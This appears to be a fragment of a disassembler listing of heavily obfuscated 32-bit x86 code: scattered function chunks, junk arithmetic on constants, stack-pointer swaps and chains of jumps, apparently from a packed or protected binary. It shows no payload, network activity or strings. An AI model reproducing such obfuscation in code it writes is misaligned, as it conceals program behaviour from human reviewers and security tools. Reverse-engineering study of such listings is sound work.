; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A86D0


loc_59D80C:				; CODE XREF: sub_5A86D0-131Aj
		mov	esp, [esp+0]
		shl	eax, cl
		push	ebx
		push	eax
		push	15233EDCh
		pop	eax
		add	eax, 196F4D0Fh
		jno	loc_5A34B7
		push	edx
		jmp	loc_5A8DE7
; END OF FUNCTION CHUNK	FOR sub_5A86D0
; ---------------------------------------------------------------------------
		jmp	loc_59E3FA
; ---------------------------------------------------------------------------


loc_59D82F:				; CODE XREF: sdfs____:005AEB5Ej
		mov	[esp], ebp
		mov	ebp, 74094BA0h
		jmp	loc_5AA9D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7746


loc_59D83C:				; CODE XREF: sub_5A7746-A194j
		pop	esp
		jmp	loc_5A3649
; END OF FUNCTION CHUNK	FOR sub_5A7746
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_59D842:				; CODE XREF: sub_5A917C-CD3Bj
		pop	esp
		add	esi, 4
		push	esi
		jmp	loc_59F2F7
; END OF FUNCTION CHUNK	FOR sub_5A917C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59D84F:				; CODE XREF: sub_5A2E28:loc_5A62ABj
		and	ebp, 0B0E5609h
		jns	loc_5A732D
		and	ebp, 6F3219FCh
		jmp	loc_5A6085
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59D866:				; CODE XREF: sub_5A6BBC-93Dj
		add	esi, 2
		xchg	esi, [esp+8+var_8]
		pop	esp
		and	cl, 0Ah
		jnp	loc_5A68AD
		jmp	loc_5A4BB7
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59D87B:				; CODE XREF: sub_5A2E28-9CB5j
					; sub_5AB5A9-E5BAj
		pop	esi
		xor	eax, 0CB77CDEh
		neg	eax
		push	1BE6h
		mov	[esp-4+arg_0], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_59B316
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFD37


loc_59D898:				; CODE XREF: sub_5AFD37-61D8j
		mov	ebx, 34E6630Bh
		add	ebx, 5D386534h
		ja	loc_59D14F
		dec	ebx
		jo	loc_59A328
		neg	ebx
		jmp	loc_5A4090
; END OF FUNCTION CHUNK	FOR sub_5AFD37
; ---------------------------------------------------------------------------
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_59D8B8:				; CODE XREF: sub_5AF294-14686j
		push	edx
		mov	edx, 2FA3E782h
		xor	ebx, edx
		pop	edx
		jmp	loc_5A83C3
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D8C6:				; CODE XREF: sub_5AA2D1+23E5j
		jmp	loc_5AA265
; ---------------------------------------------------------------------------


loc_59D8CB:				; CODE XREF: sub_5AA2D1-100F4j
		pop	eax
		or	edx, ecx
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		inc	edx
		jnz	loc_59E95D
		push	6D39h
		mov	[esp-8+arg_4], ebp
		and	bh, 2


loc_59D8E9:				; CODE XREF: sub_5AF2D9-3B98j
		or	esi, 10F7434Ah
		push	ebp
		jmp	loc_59BE6B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_59D8F5:				; CODE XREF: sub_599D0E+141E7j
		mov	[esp-4+arg_0], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp+0], ebx
		push	eax
		mov	eax, 203A36FDh
		mov	ebx, 203A3701h
		add	ebx, 58A024EAh
		sub	ebx, eax
		sub	ebx, 58A024EAh
		pop	eax
		add	esi, ebx
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5AA12E
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB622


loc_59D92E:				; CODE XREF: sub_5AB622-118FFj
		push	36A9h
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_5A260F
; END OF FUNCTION CHUNK	FOR sub_5AB622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_59D93B:				; CODE XREF: sub_59F02F+1E1Aj
		pop	esp
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_59BF12
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_59D944:				; CODE XREF: sub_5A16B8+9E54j
		add	ecx, edx
		jmp	loc_59A7F4
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59D94B:				; CODE XREF: sub_5A477C-5879j
		xchg	esi, edi
		not	esi
		jmp	loc_5A64C9
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D954:				; CODE XREF: sub_5AA2D1-D6F5j
		mov	al, 2Ah
		add	al, 11h
		shl	al, 4
		sub	al, 5Fh
		add	al, 8
		sub	bl, al
		pop	eax
		jmp	loc_59D746
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A81C4


loc_59D967:				; CODE XREF: sub_5A81C4+1275j
		add	esp, 4
		jmp	loc_5A42DB
; END OF FUNCTION CHUNK	FOR sub_5A81C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D96F:				; CODE XREF: sub_5A600D+2F14j
					; sub_5AA2D1+56AFj
		pop	ebx
		xor	ebp, [esp-8+arg_4]
		xor	[esp-8+arg_4], ebp
		xor	ebp, [esp-8+arg_4]
		pop	esp
		mov	[esp-0Ch+arg_8], ecx
		push	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_5ACCBF
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59D995:				; CODE XREF: sub_5A9EBF-58B4j
					; sub_59D6B8+7ED0j
		sub	ecx, 1A096262h
		add	ecx, 6C5F12EAh
		pop	esi
		xor	ecx, [esp-8+arg_4]
		jmp	loc_5A3AD9
; END OF FUNCTION CHUNK	FOR sub_59D6B8

; =============== S U B	R O U T	I N E =======================================



sub_59D9AA	proc near		; CODE XREF: sub_59A986+2DFAj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D10F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA3E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005ADFA1 SIZE 0000003F BYTES

		sub	esp, 4
		jmp	loc_59D10F
sub_59D9AA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1C3


loc_59D9B2:				; CODE XREF: sub_59F1C3+8273j
		mov	esi, 1A843094h
		and	edx, esi
		pop	esi
		add	edx, 7E1421F4h
		not	edx
		shr	edx, 4
		xor	edx, 59FC87DDh
		add	eax, edx
		jmp	loc_5A6B2F
; END OF FUNCTION CHUNK	FOR sub_59F1C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59D9D2:				; CODE XREF: sub_5A477C+280Fj
		shr	eax, 5
		jmp	loc_59F67F
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_59D9DA:				; CODE XREF: sub_5A580F-5008j
		mov	edx, 1A334E74h
		sub	edx, 0AE6D48A0h
		sub	eax, 3F25007Bh
		add	eax, edx
		add	eax, 3F25007Bh
		pop	edx
		pop	edi
		xor	eax, 0D8732015h
		add	edi, eax
		mov	eax, [esp-4+arg_0]
		jmp	loc_5B021F
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_59DA02:				; CODE XREF: sdfs____:005A513Cj
					; sub_5A79BE-137Ej
		mov	esi, 7436991h
		shr	esi, 8
		jmp	loc_5A175B
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB08D


loc_59DA0F:				; CODE XREF: sub_5AB08D-F071j
		push	edx
		mov	edx, 65435C8Ch
		neg	edx
		shr	edx, 3
		shr	edx, 6
		sub	edx, 0E1659FCDh
		jmp	loc_599EB3
; END OF FUNCTION CHUNK	FOR sub_5AB08D
; ---------------------------------------------------------------------------


loc_59DA28:				; CODE XREF: sdfs____:0059F5DEj
		sub	dword ptr [esp+4], 3ABF7CBCh
		pop	ecx
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_59DA36:				; CODE XREF: sub_5A3992:loc_5A45D5j
		or	ebx, 238112A1h
		jnp	loc_5AB5F4
		shl	ebx, 5
		jmp	loc_5A16C1
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
		shl	ecx, 6
		push	esp


loc_59DA4E:				; CODE XREF: sdfs____:005AD96Dj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59E5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59DA57:				; CODE XREF: sub_5AA2D1-D573j
		pop	ecx
		push	eax
		mov	eax, 4A132688h
		xor	eax, 32CA5349h
		jmp	loc_5A7099
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_59DA68:				; CODE XREF: sub_5AD243-193Bj
		add	eax, 0A6134972h
		sub	eax, 137F67E9h
		sub	eax, 44387051h
		sub	eax, 0B3ED0EB9h
		add	esi, 7DD519BBh
		add	esi, eax
		sub	esi, 7DD519BBh
		jmp	loc_5AD03E
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A491A


loc_59DA8F:				; CODE XREF: sub_5A491A+77E8j
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	sub_5A765F
; END OF FUNCTION CHUNK	FOR sub_5A491A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_59DAA0:				; CODE XREF: sub_59EE3E-4FEBj
		js	loc_5A45AB
		jmp	loc_5AEBB9
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
		shl	ebx, 7
		jmp	loc_59A812
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59DAB3:				; CODE XREF: sub_5AA2D1-108C7j
		push	eax
		jmp	loc_5AAEBF
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_59DAB9	proc near		; CODE XREF: sub_5A5EFF-BE3Aj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edi
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		push	eax
		mov	eax, 15BB1265h
		jmp	loc_5A0C04
sub_59DAB9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAE5E


loc_59DAD3:				; CODE XREF: sub_5AAE5E+2ADEj
		sub	ebp, 4
		push	ebp
		push	[esp+8+var_4]
		mov	ebp, [esp+0Ch+var_C]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+10h+var_10]
		jmp	loc_59CDCD
; END OF FUNCTION CHUNK	FOR sub_5AAE5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59DAF8:				; CODE XREF: sub_5A477C-8454j
		dec	edx
		and	edx, 17FB4805h
		jo	loc_5A2AEA
		add	edx, 0FE132BF2h
		jmp	loc_5A1BB6
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BE17


loc_59DB10:				; CODE XREF: sub_59BE17+74Aj
		push	edx
		mov	edx, 7E057B31h
		or	edx, 65A56D72h
		and	edx, 4E075EA1h
		sub	edx, 0B0E5752h
		not	edx
		add	edx, 7835637Ch
		sub	ecx, edx
		pop	edx
		add	ecx, 0BFE22173h
		jmp	loc_59E1C0
; END OF FUNCTION CHUNK	FOR sub_59BE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8E92


loc_59DB3E:				; CODE XREF: sub_5A8E92-B8CCj
		mov	edx, [esp-4+arg_0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		jmp	loc_5AF940
; END OF FUNCTION CHUNK	FOR sub_5A8E92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_59DB52:				; CODE XREF: sub_5B03B3-6CE0j
		xchg	esi, [esp+0]
		jmp	loc_5A7E4B
; END OF FUNCTION CHUNK	FOR sub_5B03B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59DB5A:				; CODE XREF: sub_59C979+1270Ej
		or	eax, eax
		jz	loc_59C459
		push	dword ptr [edi+1Ch]
		jmp	loc_5A2957
; ---------------------------------------------------------------------------


loc_59DB6A:				; CODE XREF: sub_59C979+E10Fj
		add	ecx, 408A2FECh
		pop	eax
		add	ecx, 4
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		jmp	loc_5A9773
; END OF FUNCTION CHUNK	FOR sub_59C979

; =============== S U B	R O U T	I N E =======================================



sub_59DB82	proc near		; CODE XREF: sub_5AA2D1-3633j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059AEDA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059C125 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A0FF2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2133 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A66B6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A6B6D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A7B66 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A8FF4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A9CF9 SIZE 00000006 BYTES

		push	ebx
		push	1D6B5B8Ch
		pop	ebx
		sub	ebx, 97C02F5Ch
		jmp	loc_5A2133
sub_59DB82	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599C9B


loc_59DB94:				; CODE XREF: sub_599C9B+FEA5j
		add	esp, 4
		pop	ebp
		push	small word ptr [eax]
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_599C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599509


loc_59DBA3:				; CODE XREF: sub_599509+18j
		mov	[esp+4+var_4], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp+8+var_8]
		push	edi
		push	esp
		jmp	loc_59DD54
; END OF FUNCTION CHUNK	FOR sub_599509
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0377


loc_59DBB4:				; CODE XREF: sub_5B0377-132Bj
		pop	ebx
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		jmp	loc_5A3D98
; END OF FUNCTION CHUNK	FOR sub_5B0377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_59DBC0:				; CODE XREF: sub_59A9E9+8110j
		push	eax
		mov	eax, 4A50695Dh
		dec	eax
		jmp	loc_5AC081
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F074


loc_59DBCC:				; CODE XREF: sub_59F074-2747j
		add	edx, 0FECDA2E0h
		add	eax, edx
		mov	edx, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, 2
		add	eax, ebx
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		xor	eax, [esp-4+arg_0]
		jmp	loc_599957
; END OF FUNCTION CHUNK	FOR sub_59F074
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_59DBF7:				; CODE XREF: sub_5A8215+1A13j
		xor	edi, ebp
		xchg	edi, [esp+4+var_4]
		jmp	loc_59A28C
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59DC01:				; CODE XREF: sub_5AA2D1-B26Aj
		sub	esi, 1D987ABDh
		sub	esi, 7F875592h
		add	esi, ebx
		add	esi, 7F875592h
		add	esi, 1D987ABDh
		push	ebp
		mov	ebp, 0C4970A3h
		sub	esi, ebp
		pop	ebp
		pop	ebx
		xchg	esi, [esp+8+var_8]
		jmp	loc_59F66D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59DC2D:				; CODE XREF: sub_59C979+3F3j
		sub	al, 0E9h
		mov	dx, word ptr [esp-0Ah+arg_6]
		jmp	loc_5A5176
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------


loc_59DC38:				; CODE XREF: sdfs____:005A9D4Fj
		mov	esi, edi
		pop	edi
		sub	eax, esi
		jmp	loc_59D47D
; ---------------------------------------------------------------------------

locret_59DC42:				; CODE XREF: sdfs____:00599793j
		retn
; ---------------------------------------------------------------------------


loc_59DC43:				; DATA XREF: sdfs____:00598E2Co
		mov	ax, [esp]
		push	ebx
		jmp	loc_5A2CB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59DC4D:				; CODE XREF: sub_5AA2D1-10270j
		add	edx, 512806C4h
		sub	edx, 3BAD9218h
		add	ebx, edx
		pop	edx
		jmp	loc_59BF41
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_59DC61:				; CODE XREF: sub_59EE3E+9ED1j
		pop	esi
		jmp	loc_59C9EC
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59DC67:				; CODE XREF: sub_5A5EFF-77FDj
		xchg	esi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_59D716
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59DC72:				; CODE XREF: sub_59D6B8:loc_5A6456j
		push	7C41h
		jmp	loc_59AF88
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_59DC7C:				; CODE XREF: sub_5AB207-BFD2j
		add	edi, 4
		jmp	loc_5AE6AB
; END OF FUNCTION CHUNK	FOR sub_5AB207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59DC87:				; CODE XREF: sub_59C979+1646j
		push	esp
		pop	ebp
		add	ebp, 4
		push	16AAh
		mov	[esp-6+arg_2], ecx
		mov	ecx, 4
		sub	ebp, 371D313Ah
		jmp	loc_59D534
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5607


loc_59DCA7:				; CODE XREF: sub_5A5607-423Cj
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_5A2843
; END OF FUNCTION CHUNK	FOR sub_5A5607
; ---------------------------------------------------------------------------


loc_59DCC0:				; CODE XREF: sdfs____:005A995Ej
		push	3D9Fh
		mov	[esp], eax
		mov	ah, ch
		mov	bl, ah
		jmp	loc_5ABA50

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_59DCD1	proc near		; CODE XREF: sub_59F4D2+5E47j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_59910F
sub_59DCD1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59DCE9:				; CODE XREF: sub_5992DA:loc_5AE237j
		and	dh, 0CFh
		jnb	loc_5AA9C3
		add	dh, 93h
		jl	loc_599C07
		pop	esi


loc_59DCFC:				; CODE XREF: sub_59B442+1Cj
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_59DD01:				; CODE XREF: sub_59EE3E+B88Ej
		shl	edx, 8
		jz	loc_5A04DB
		dec	edx
		jg	loc_59F216
		sub	edx, 60DC5EBFh
		mov	esi, edx
		mov	edx, [esp-4+arg_0]
		push	ebp
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_59DD1D:				; CODE XREF: sub_5A2E41+5043j
					; sub_5AB179+4B99j
		and	edx, 5A94864h
		and	edx, 1AE561C2h
		push	ebx
		mov	ebx, 4CC24829h
		and	edx, ebx
		jmp	loc_5A7754
; END OF FUNCTION CHUNK	FOR sub_5A2E41

; =============== S U B	R O U T	I N E =======================================



sub_59DD36	proc near		; DATA XREF: sdfs____:00599060o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059E30E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2764 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A4F05 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A647B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A8DD7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A9338 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB924 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005ACE78 SIZE 00000026 BYTES

		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		mov	ecx, esp
		push	7983h
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_5A9338
sub_59DD36	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599509


loc_59DD54:				; CODE XREF: sub_599509+46A6j
		mov	edi, [esp+10h+var_10]
		jmp	loc_59A2B8
; END OF FUNCTION CHUNK	FOR sub_599509
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59DD5C:				; CODE XREF: sub_5A6BBC:loc_5A1A1Dj
					; sub_5A79BE+31D6j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	eax, [esp-8+arg_4]
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_5AB72A
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_59DD7C:				; CODE XREF: sub_59A26C+1155Cj
		pop	eax
		not	esi
		add	esi, 0C880848h
		add	edi, esi
		mov	esi, [esp-10h+arg_C]
		add	esp, 4
		jmp	loc_59C3AA
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_59DD95:				; CODE XREF: sub_59F02F-1C7Dj
		shl	byte ptr [esp+0], cl
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------


loc_59DD9E:				; CODE XREF: sdfs____:0059B959j
		sub	ebx, 4
		jmp	loc_599F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_59DDA9:				; CODE XREF: sub_59E94B+30CDj
		mov	cx, word ptr [esp-4+arg_0]
		push	3897h
		mov	[esp+0], edi
		push	esp
		pop	edi
		add	edi, 4
		push	eax
		mov	eax, 2
		push	1C33h
		mov	[esp+8+var_8], ebp
		jmp	loc_5AC722
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59DDD0:				; CODE XREF: sub_59CBE1+F751j
		mov	edx, esp
		jmp	loc_5AA294
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3CF9


loc_59DDD7:				; CODE XREF: sub_5A3CF9-2874j
		pop	ebp
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		jmp	loc_5ADDC8
; END OF FUNCTION CHUNK	FOR sub_5A3CF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_59DDE9:				; CODE XREF: sub_5AB207-11992j
					; sdfs____:0059B384j
		pop	esp
		mov	ebx, ebp
		push	[esp-4+arg_0]
		jmp	loc_5AF252
; END OF FUNCTION CHUNK	FOR sub_5AB207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59DDF4:				; CODE XREF: sub_5992DA+F038j
		and	esi, 652C4504h
		add	esi, 2BFA7D2Ch
		sub	esi, 0B80259BFh
		xor	ebp, esi
		jmp	loc_59E374
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59993B


loc_59DE0D:				; CODE XREF: sub_59993B+C797j
		sub	ecx, 0DC909F8Dh
		mov	eax, ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		add	[esp+8+var_4], 416E4C81h
		add	[esp+8+var_4], 26023989h
		jmp	loc_5A3A64
; END OF FUNCTION CHUNK	FOR sub_59993B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB622


loc_59DE30:				; CODE XREF: sub_5AB622+2E77j
		dec	edi
		jno	loc_59E280
		add	edi, 1
		sub	edi, 0C9A87529h
		mov	ebx, edi
		pop	edi
; END OF FUNCTION CHUNK	FOR sub_5AB622
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_59DE46:				; CODE XREF: sub_5A118F:loc_5A0691j
		jmp	loc_5AB256
; END OF FUNCTION CHUNK	FOR sub_5A118F

; =============== S U B	R O U T	I N E =======================================



sub_59DE4B	proc near		; CODE XREF: sub_5AA329+13j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D354 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059E7A0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E943 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A16AC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A1A67 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A3887 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A5E3A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AAAC2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AC82D SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_5A3887
sub_59DE4B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_59DE59:				; CODE XREF: sub_59F4D2+7344j
		add	esp, 4
		xchg	eax, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], esp
		jmp	loc_5A5311
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_59DE6B:				; CODE XREF: sub_5A7BA0-2812j
		pop	edi
		push	ebx
		mov	ebx, ecx
		mov	ebp, ebx
		pop	ebx
		jmp	loc_5AD723
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03E8


loc_59DE77:				; CODE XREF: sub_5B03E8-15DBBj
		add	eax, edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		add	edi, 5A1B566Eh
		jmp	loc_5AFA7E
; END OF FUNCTION CHUNK	FOR sub_5B03E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59961A


loc_59DE8A:				; CODE XREF: sub_59961A+482j
		or	esi, 181F7CDAh
		jmp	loc_5A8D9A
; END OF FUNCTION CHUNK	FOR sub_59961A
; ---------------------------------------------------------------------------


loc_59DE95:				; CODE XREF: sdfs____:005ACC1Cj
		mov	dh, bh
		jmp	loc_5AE706
; ---------------------------------------------------------------------------
